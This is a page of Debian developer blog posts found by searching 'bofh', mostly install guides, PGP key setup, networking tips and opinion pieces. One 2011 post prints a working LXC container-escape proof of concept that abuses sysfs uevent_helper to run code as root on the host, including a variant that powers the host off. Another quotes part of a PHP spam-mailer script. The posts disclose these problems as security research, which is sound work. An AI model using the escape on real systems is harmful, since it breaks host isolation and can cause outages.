Search Results: "bofh"

30 January 2014

Marco d'Itri: On people totally opposed to systemd

Do you remember the very vocal people who, a decade ago, would endlessly argue that udev was broken and that they would never use it? Percentage over time of systems on which udev is installed Sometimes you can either embrace change or be dragged along by it. We are beyond the inflection point, and the systemd haters should choose their place.

1 December 2013

Marco d'Itri: Easily installing Debian on a Cubieboard

I recently bought a Cubieboard to replace my old Sheevaplug which has finally blown a power supply capacitor (this appears to be a common defect of Sheevaplugs), so I am publishing these instructions which show how to install Debian on sunxi systems (i.e. based on the Allwinner A10 SoC or one of its newer versions) with no need for cross compilers, emulators or ugly FAT partitions. This should work on any sunxi system as long as U-Boot is at least version 2012.10. The first step is to erase the beginning of SD card to remove anything in the unpartitioned space which may confuse U-Boot, partition and format it as desired. The first partition must begin at 1MB (1024*1024/512=2048 sectors) because the leading unpartitioned space is used by the boot loaders.
dd if=/dev/zero of=/dev/mmcblk0 bs=1M count=1
parted /dev/mmcblk0
  mklabel msdos
  mkpart primary ext4 2048s 15G
  unit s
  print
  mkpart primary linux-swap ... -1
mkfs.ext4 -L root /dev/mmcblk0p1
mkswap --label swap /dev/mmcblk0p2
Download the boot loaders and an initial kernel and install them:
tar xf cubieboard_hwpack.tar.xz
dd if=bootloader/sunxi-spl.bin of=/dev/mmcblk0 bs=1024 seek=8
dd if=bootloader/u-boot.bin of=/dev/mmcblk0 bs=1024 seek=32
mount /dev/mmcblk0p1 /mnt
mkdir /mnt/boot/
cp kernel/script.bin kernel/uImage /mnt/boot/
script.bin is Allwinner's proprietary equivalent of the device tree: it will be needed until sunxi support will be fully merged in mainline kernels. U-Boot needs to be configured to load the kernel from the ext4 file system (join the lines at \\, this is not a supported syntax!):
cat << END > /mnt/boot/uEnv.txt
# kernel=uImage
root=/dev/mmcblk0p1 rootwait
boot_mmc=ext4load mmc 0:1 0x43000000 boot/script.bin && ext4load mmc 0:1 0x48000000 boot/$ kernel  \\
  && watchdog 0 && bootm 0x48000000
END
Now the system is bootable: add your own root file system or build one with debootstrap. My old Sheevaplug tutorial shows how to do this without a working ARM system or emulator (beware: the other parts are quite obsolete and should not be trusted blindly). If you have an old armel install around it will work as well, and you can easily cross-grade it to armhf as long as it is up to date to at least wheezy (the newer, the better). You can also just use busybox for a quick test:
mkdir /mnt/bin/
dpkg-deb -x .../busybox-static_1.21.0-1_armhf.deb .
cp bin/busybox /mnt/bin/
ln -s busybox /mnt/bin/sh
After booting the busybox root file system you can run busybox --install /bin/ to install links for all the supported commands. Until Debian kernels will support sunxi (do not hold your breath: there are still many parts which are not yet in mainline) I recommend to install one of Roman's kernels:
dpkg -i linux-image-3.4.67-r0-s-rm2+_3.4.67-r0-s-rm2+-10.00.Custom_armhf.deb
mkimage -A arm -O linux -T kernel -C none -a 40008000 -e 40008000 \
  -n uImage -d /boot/vmlinuz-3.4.67-r0-s-rm2+ /boot/uImage-3.4.67-r0-s-rm2+
It is not needed with these kernels for most setups, but an initramfs can be created with:
update-initramfs -c -k 3.4.67-r0-s-rm2+
mkimage -A arm -T ramdisk -C none -n uInitrd \
  -d /boot/initrd.img-3.4.67-r0-s-rm2+ /boot/uInitrd-3.4.67-r0-s-rm2+
/boot/uEnv.txt will have to be updated to load the initramfs. Since the Cubieboard lacks a factory-burned MAC address you should either configure one in script.bin or (much easier) add it to /etc/network/interfaces:
iface eth0 inet dhcp
        hwaddress ether xx:xx:xx:xx:xx:xx
To learn more about the Allwinner SoCs boot process you can consult 1 and 2.

2 November 2013

Marco d'Itri: New PGP key

Since my current PGP key is a 1024 bits DSA key generated in 1998, I decided that it is time to replace it with a stronger one: there are legitimate concerns that breaking 1024 bits DSA is well within the reach of major governments. I have been holding out for the last year waiting for GnuPG 2.1, which will support elliptic curves cryptography, but I recently concluded that adopting ECC now would not be a good idea: Red Hat still does not fully support it due to unspecified patent concerns and there is no consensus in the cryptanalists community about the continued strength of (some?) ECC algorithms. So I created three fancy keys: a 4096 bits main key for offline storage, which hopefully will be strong enough for a long time, and two 3072 bits subkeys for everyday use. I have published a formal key transition statement and I will appreciate if people who have signed my old key will also sign the new one. What follows are the instructions that I used to generate these PGP keys. They follow the current best practices and only reference modern software. While the GnuPG defaults are usually appropriate, I think that it is a good idea to use a stronger hash for the key signatures of very long-lived keys. I could not find a simple way to "upgrade" the algorithm of key self signatures.
echo 'cert-digest-algo SHA256' >> ~/.gnupg/gpg.conf
First, generate a RSA/4096 sign only key, which will be your master key and may be stored offline. Then add to it two RSA/3072 subkeys (one sign only and one encrypt only):
# generate a RSA/4096 sign only key
gpg2 --gen-key
# add two RSA/3072 subkeys (sign only and encrypt only)
gpg2 --edit-key 8DC968B0
Since GnuPG lacks a command to remove the master secret key while keeping its secret subkeys, you need to delete the complete secret keys and then re-import only the subkeys:
gpg2 --export-secret-keys 8DC968B0 > backup.secret
gpg2 --export-secret-subkeys 8DC968B0 > backup.subkeys
gpg2 --delete-secret-key 8DC968B0
gpg2 --import backup.subkeys
Then you can import again the complete keys in a different secret keyring, which can be stored offline:
mkdir ~/.gnupg/master/
gpg2 --no-default-keyring \
  --keyring ~/.gnupg/pubring.gpg \
  --secret-keyring ~/.gnupg/master/secring.gpg \
  --import backup.secret
Now you can move ~/.gnupg/master/ to a USB stick. You are supposed to protect the master secret key with a strong passphrase, so there is no point in using block level encryption on the removable media. Since you are only using the master key to sign other keys, it only needs to be configured as the second keyring in ~/.caffrc:
$CONFIG 'secret-keyring'  = $ENV HOME  . '/.gnupg/master/secring.gpg';
It is also a good idea to have an hard copy backup of your keys, since the lifetime of USB sticks should not be trusted too much:
paperkey -v --output printable.txt --secret-key backup.secret
a2ps -2 --no-header -o printable.ps printable.txt
Some references that I used:

7 June 2013

Marco d'Itri: Torre Telecom Italia, Rozzano

Today I was lucky enough to be able to visit the Telecom Italia telecommunications tower located in Rozzano, just south of Milano, and took some photos. This tower, with its 187 meters, is one of the tallest man-made structures in Italy. It was built by Telecom Italia in 1990 to create high capacity radio links to Genova and Torino and nowadays it contains radio transmitters for a TV station and many kinds of radio networks. It is an impressive monument to an age when telcos had no optical fibers, but plenty of money.

6 December 2012

Petter Reinholdtsen: Scripting the Cerebrum/bofhd user administration system using XML-RPC

Where I work at the University of Oslo, we use the Cerebrum user administration system to maintain users, groups, DNS, DHCP, etc. I've known since the system was written that the server is providing an XML-RPC API, but I have never spent time to try to figure out how to use it, as we always use the bofh command line client at work. Until today. I want to script the updating of DNS and DHCP to make it easier to set up virtual machines. Here are a few notes on how to use it with Python. I started by looking at the source of the Java bofh client, to figure out how it connected to the API server. I also googled for python examples on how to use XML-RPC, and found a simple example in the XML-RPC howto. This simple example code show how to connect, get the list of commands (as a JSON dump), and how to get the information about the user currently logged in:
#!/usr/bin/env python
import getpass
import xmlrpclib
server_url = 'https://cerebrum-uio.uio.no:8000';
username = getpass.getuser()
password = getpass.getpass()
server = xmlrpclib.Server(server_url);
#print server.get_commands(sessionid)
sessionid = server.login(username, password)
print server.run_command(sessionid, "user_info", username)
result = server.logout(sessionid)
print result
Armed with this knowledge I can now move forward and script the DNS and DHCP updates I wanted to do.

6 July 2012

Stefano Zacchiroli: DebConf BoF HOWTO - redux - redux

If you're organizing a DebConf12, and especially if you're new to it, please have a look at the DebConf BoF HOWTO. One of its main take away messages is: don't be exclusive, think of the kittens. Since last year, and to the might powers of DSA (and their kittens), we now have a more stable place for the gobby server: gobby.debian.org. I've just amended the howto to point to that, and updated the info about which gobby package to use (nowadays clarified, thanks to Phil). Enjoy your BoF-s!

29 February 2012

Marco d'Itri: The role of niche architectures and toy ports in Debian

In the last few days, people on the debian-devel mailing list have been debating again (and again, and again...) how much the ports and architectures used only by an handful of people should influence the direction of the project. With this post I want to briefly summarize my position. The reason we support niche architectures and toy ports is that that some people are interested in doing the work, and that these do not hinder development of the architectures that people actually use. When m68k started inconveniencing too much the real world development, the port was killed and the sky did not fall, notwithstanding the complaints of the few retrocomputing enthusiasts who still used and developed it. I do not mind if some people like to play with kFreeBSD and Hurd as long as they do not inconvenience me too much, both as a user and as a developer. While it is true that targeting multiple architectures helps finding bugs, after we have covered all the useful combinations of endianity, size of variables and char signedness the incremental benefits of adopting a new architecture just for its sake are minimal. I am a Red Hat customer (also because of Debian shortcomings), I do not like it much and I do not want to be one forever: please do not kill my hopes.

24 January 2012

Gunnar Wolf: BugCon friends, are you trying to scare away 50%+ of the target audience?

You are scaring away much more than that. I just came across an invitation for BugCon 2012. BugCon is a Mexican conference devoted to computer security I cannot comment on its level or value because, although it's a topic that has long interested me, I must recognize each day I feel less of an expert, nowadays finding myself at the level of a "sysadmin who tries not to be too dumb for his own job security". Oh, and also because it would be completely off-topic for this post. If you look at Vendetta's (the main organizer) blog post, it will probably give you the impression that the conference is just an excuse for the afterparty: Lets go see some b00bs! Do you think your fellow female hackers will have any interest in joining a bunch of sex-starved, hormone-infested teenagers who only want to pwn a website and grab more pr0n? Do you think females will feel welcome (or even mildly safe) between you? I would not think so. And I also think you are alienating any professional who might have any interest in joining your community, be it as a member, as a mentor, or whatnot. I cannot right now do a coherent post on this topic, but I can reference you to what I have seen (and read) over the last almost 10 years, when the issue was first brought up to our attention. I am very glad to see that, at least in the Free Software area, there has been a real change of mindset. I hope you are in time to think about it and rectify. Oh, and not the description of an incident, but a very interesting and thoughtful take on this: [pdf] Interesting analysis by Hannah Wallach on the numbers and motivations of women in Free Software groups. I don't know if Hannah has published this in article form, but many interesting points can be understood by looking at the presentation. My good friend Vendetta: I don't mean this post (longer than what I originally intended) as a way to say you and the conference you are organizing for the third year (IIRC) already is unprofessional or targetted to pimply teenagers. I know the work you have put in it. I hope you see the points I'm trying to drive You are of course free to have whatever afterparty you have. But, if as the main organizer, you are giving the images of nice chicks at Hooters more weight and relevance than to the conference itself... you are doing yourself a disservice. I hope you can rectify it, and make BugCon attractive to hacker women as well.

25 November 2011

Marco d'Itri: How to reset a confused iLO

Due to some still unknown bug, all the iLOs of two of my HP blade enclosures became confused and stopped accepting TCP connections. This not only made them unusable, but also prevented upgrading the firmware to an hopefully fixed version... My solution: reset them from the OS by running:
ipmitool mc reset cold
HP's support solution: remove and reseat each blade.

26 August 2011

Axel Beckert: Useful but Unknown Unix Tools: Kill all processes of a user

I already got mails like What a pity that your nice blog posting series ended . No, it didn t end. As announced, I knew that I won t be able to keep up a daily schedule. It worked as long as I had already written the postings in advanced. But in the end the last postings were already written just in time and then I ran out of leisure and muse for a time. But as I said: It didn t end, it will be continued. And this is the next such posting. Oh, and for those who tell me further tools, I should blog about: I appreciate that, especially because that way I also hear about tools I didn t know about. But why just telling me and not blogging yourself about it? :-) At least those whose blog is part of Planet Debian or Planet Symlink anyway really should do this themselves. I d really like to see also others writing about cool tools. I neither have a right on the idea nor on the name of this series (call it meme if you want :-), so please go on and publish your favourite tools in a blog posting, too. :-) And for all those who want to join me and Myon blogging about cool Unix tools, independent if listed on Planet Debian or Planet Symlink, I encourage you to offer a separate feed for this kind of postings and join us on Planet Commandline. Anyway, here s the next such posting: As system administrator you often have the case that you have to kill all processes of one user, e.g. if a daemon didn t properly shut down itself or amok running leftovers of a GUI session. Many use pkill -SIGNAL -u user from the procps package or killall -SIGNAL -u user from the psmisc package for it. But that s a) quite cumbersome to type and b) is there a chance to forget about the -u and then bad things may happen, especially with pkill s default substring match, so I prefer another tool with a more explicit name:

slay slay has an easy to remember name (at least for BOFHs ;-) which is even quicker to type (alternating one character with the left and the right hand, at least on US layout keyboards) than pkill (all characters to type with the right hand), and has the same easy to remember commandline syntax like kill itself:
slay -SIGNAL user [user  ]
But beware, slay is

not only for BOFHs, but also from a BOFH It has a mean mode which is activated by default. With mean mode on, it won t kill the given user but the user who called the program if it is invoked as an ordinary user without root rights. *g* Interestingly I never ran into this issue despite I use this program often and for many years now. But some Ubuntu users did, probably because adding a sudo in front of some command is easier to forget than doing an ssh root@localhost or su - beforehand. They even seem to be so desperate about it that they forwarded the issue from Launchpad to the Debian Bug Tracking System. ;-) But to be honest even if I was very amused about those bug reports isn t this issue grave , as it causes very likely (unexpected) data loss?

Now playing: Monzy kill dash nine ( and your process is mine ;-)

30 July 2011

Marco d'Itri: Evading from linux containers

For the past few years, the Linux Containers project has been developing some kernel technologies which provide isolation, accounting and management for kernel resources. When completed, together they will allow implementing lightweight virtualization of the operating system like is currently possible with OpenVZ. It is very important to understand that not all the pieces are ready yet, so currently a LXC container does not provide the same security of other virtualization technologies. This example shows how the root user of a container can easily run code as root in the host system, since sysfs does not support namespaces:
lxc$ cat <<END > /tmp/evil-helper
#!/bin/sh
echo 'hi!' >> /tmp/evil-helper.log
END
lxc$ chmod +x /tmp/evil-helper
lxc# mkdir /sys
lxc# mount -t sysfs sysfs /sys
lxc# echo /var/lib/lxc/test/rootfs/tmp/evil-helper > /sys/kernel/uevent_helper
lxc# echo change > /sys/class/mem/null/uevent
The last command will trigger a uevent, which will be processed by running in the host our script created inside the container. Or else:
inside# echo /sbin/poweroff > /sys/kernel/uevent_helper
Because of this, LXC containers are vulnerable to a malicious root user and are not really a replacement for OpenVZ. This will change when support for labelling files with user namespaces will be completed.

21 July 2011

Stefano Zacchiroli: DebConf Bof HOWTO - redux

At last DebConf, with the help of Gregor, I've tried to summarize some BoF organization best practices in a sort of HOWTO. As promised, although with 1 year of delay, we have just moved the DebConf BoF HOWTO to a more stable place on the DebConf wiki. In doing so, we have also integrated some of the feedback received last year. If you've proposed a BoF at DebConf11, please take a minute to have a look at it and let us know your comments. As usual, your feedback and contributions to improve the text are more than welcome!

11 June 2011

Clint Adams: Debian on the DreamPlug

The DreamPlug is like a GuruPlug Server-Plus with a few notable differences: So let's say you want to put Debian on your DreamPlug. You do, of course, because running some other operating system is in poor taste, and you'd be embarrassed telling your friends. How do you do it? You can't use d-i. Let me back up. In the onboard SPI flash, there is a copy of Das U-Boot. This is a fork of mainline U-Boot, with no complete and corresponding source available. To the casual observer, this might look like an egregious GPL violation, but, on the other hand, no one seems to know how to rewrite the SPI flash except from U-Boot itself, so if you happen to corrupt said flash, your plug is bricked and openocd can't save you. I would be happy to be proven wrong on this last point, but for not let's assume that you're screwed and unable to replace your boot loader with free software. The next problem is the kernel, which lives on the microSD card. This is potentially free software, though I can't swear that complete and corresponding source code is available. What I can claim is that linux-2.6.33.6.tar.bz2 on Google Code will build a Linux that works on the plug. I will also point out that this doesn't match Linux 2.6.33.6 from kernel.org. Some other time I should rant about ARM Linux but for now I will just say that if you use the U-Boot of questionable provenance and either the Linux that's shipped with the plug or the one at the above link, you will be able to boot a mostly Debian system. I'll mention the third exception later. One thing you can do is to take the plug apart, remove the microSD card from its slot, and then stick it into a reader that you can then manipulate on another machine. If you're choosing this route and wish to take this opportunity to replace the microSD card with something larger than 2 gigs, keep in mind that you'll have to either preserve the uImage file from the first partition or build a new one. I am not fond of cross-architecture anything. I prefer to do things natively rather than cross-compile or foreign-debootstrap, and I own enough armel boxes that I can do this easily. So at this point I would just debootstrap a new Debian base onto the second partition of the microSD card. The first partition contains the uImage (which is your Linux image in a wrapper), and must be a FAT filesystem since you can't replace your boot loader with something that can read a better filesystem. The second partition will be your rootfs and can be whichever filesystem your Linux can read. If you do not have another armel system to play with, you might want to familiarize yourself with Marco's Sheevaplug instructions. You can install to a USB stick as well. Just remember that U-Boot needs a FAT filesystem containing the uImage on it and that you can't use a kernel in Debian yet. You'll also want to ignore the instructions regarding U-Boot, since that must be done differently. I'll be back later with some more details.

4 February 2011

Marco d'Itri: Being an early adopter

This object from the old 6bone whois database is the earliest trace I could find of my IPv6-related activities:
inet6num:     3FFE:1001:210::/48
netname:      ILSWAN-NET-6BONE
descr:        Italian Linux Society geographically dispersed test network
country:      IT
admin-c:      MDI-RIPE
tech-c:       MDI-RIPE
rev-srv:      attila.bofh.it
rev-srv:      spock.linux.it
mnt-by:       MNT-ILS-6BONE
changed:      md@linux.it 20000530
changed:      md@linux.it 20010123
source:       6BONE

14 November 2010

Marco d'Itri: Other people's ethics and tastes

In the last years I noticed a growing trend of people pushing for "new" rules about what is appropriate or not for single developers or for the project as a whole. In too many cases even just considering these ideas to be an obvious fact... I prefer to not give specific examples because these would divert the attention from the main topic and would be affected by my own biases. At this point I believe it is useful to remember that all ethical issues which are not explicitly covered by the Social Contract are just the developers' own opinions. It may even be a good idea, but other developers are not and should not be compelled to agree with it no matter how good or important you believe it is. You are entitled to having your own ethics and even ranting about it on Planet Debian, but I am entitled to not caring at all without this making me a worse Debian Developer. Let's try to be grown ups and not be excessively annoyed by other people's choices. This is why I want to convey this simple message to the people who keep preaching about what is proper for me or for Debian: please fuck you. If I want to receive lectures about what is right or wrong then I surely know where I can find a priest. For some reason, now I see fit to mention that I have an Amazon wishlist...

27 August 2010

Marco d'Itri: Impact of CVE-2010-2959 on Debian systems

CVE-2010-2959 allows to exploit an integer overflow in the CAN protocol driver to escalate privileges to root. This requires the CAN BCM module (can_bcm) to be loaded, so its impact is either null or easily mitigated since it is never used on normal systems. If this command finds the alias needed to autoload the module then an unpatched system is vulnerable:
grep can-proto-2 /lib/modules/$(uname -r)/modules.alias -r /etc/modprobe.d/
In practice, the combination of the unpatched lenny kernel and module-init-tools packages are not (normally) vulnerable because the alias does not exist, while more recent kernels are: nowadays kernel modules carry their own built-in aliases, which are collected by depmod(8).

24 August 2010

Marco d'Itri: Spammers and their inventiveness

This fragment of code was extracted from a direct-to-MX PHP spam cannon installed on a customer server. Yes, it contains a real DNS stub resolver written in PHP (which abuses the promiscuous cache of a local large ISP).
function dns_get_list($dns,$domains,$type=1)
 
        $sockets=array();
        foreach ($domains as $d=>$domain)
         
                $dns_packet = chr(0).chr($d).
                                chr(1).chr(0).
                                chr(0).chr(1).
                                chr(0).chr(0).
                                chr(0).chr(0).
                                chr(0).chr(0);
                $dns_packet_len=12;
                list($qname_len,$qname)=make_QNAME($domain);
                $dns_packet .= $qname.
                                chr(0).chr($type).
                                chr(0).chr(1);
                $dns_packet_len+=$qname_len+4;
                $sockets[$d]=fsockopen("udp://$dns", 53);
                fwrite($sockets[$d],$dns_packet,$dns_packet_len);
         
        foreach ($domains as $d=>$domain) socket_set_timeout($sockets[$d],3);
        $result=array();
        foreach ($domains as $d=>$domain)
         
[...]

29 June 2010

Marco d'Itri: DNSBLs and IPv6

From time to time I see people arguing that the wide deployment of IPv6 will force DNSBLs to significantly change their operations and semantics. Usually they have little or no actual experience with IPv6 and the main argument used to justify this view appears to be more or less "OMG so many bits!1!!!". I have no reason to believe that this will really happen. People are already sending mail over IPv6 and I expect that the same reputation mechanisms used for IPv4 will be deployed as soon as they will be needed, with small policy changes to cope with the fact that end users typically get a whole network instead of a single IP address. So I expect that DNSBLs will continue to operate as usual like they currently do for IPv4 addresses, optionally by promoting "single IP" listings to "whole /64" listings when appropriate.

Let's briefly categorize the common types of DNSBL listings: If anything, with IPv6 much less guessing is needed to know how large each customer assignment is, so some things will actually be easier for operators. (I have been using IPv6 for at least ten years and I have received email over IPv6 networks for at least five.)

22 May 2010

Marco d'Itri: Less widely known features of iproute

While iproute (AKA ip(8)) nowadays has become the ultimate Linux network configuration tool, it is also poorly documented: many features are not documented in the man page or even in the built-in help. With this post I would like to raise the attention to some of its more recent features which are not getting the attention they deserve. And remember: every time you use ifconfig(8), Cthulhu eats a kitten. Please, think of the kittens. VLANs management
ip link add link eth0 type vlan name eth0.2 id 2
ip link add link eth0 type vlan name myvlan2 id 2 loose_binding on
ip link add foo type vlan help
This replaces the obsolete vconfig(8) program and adds new features. The loose_binding flag stops the VLAN interface from tracking the line protocol status of the underlying device. Creation of dummy interfaces
ip link add mydummy type dummy
The only way to create more dummy interfaces after the dummy module has been loaded used to be loading it again with a different name, and they were all named dummyN. Since module-init-tools does not support anymore loading the same module multiple times, iproute fully replaced this method. Ethernet in GRE tunnels
ip link add mygretun type gretap remote 192.0.2.1
ip link add foo type gretap help
A practical way to remotely bridge two Ethernet networks. The IP MTU is reduced of the expected 20 (IP) + 4 (GRE) + 14 (Ethernet II) bytes. L2TPv3 static tunnels See Documentation/networking/l2tp.txt for details, this requires kernels >= 2.6.34.

6 May 2010

Marco d'Itri: Ubuntu still bad at contributing back their changes

Not just to Debian (we are mostly used to it now), but also to upstream maintainers. Is it so hard? Case study: whois. Discuss. In related news, I just uploaded a whois release which supports the new IDN ccTLDs. I only had to add the respective servers to the list since I had already added IDN support in 2003.

Next.

Previous.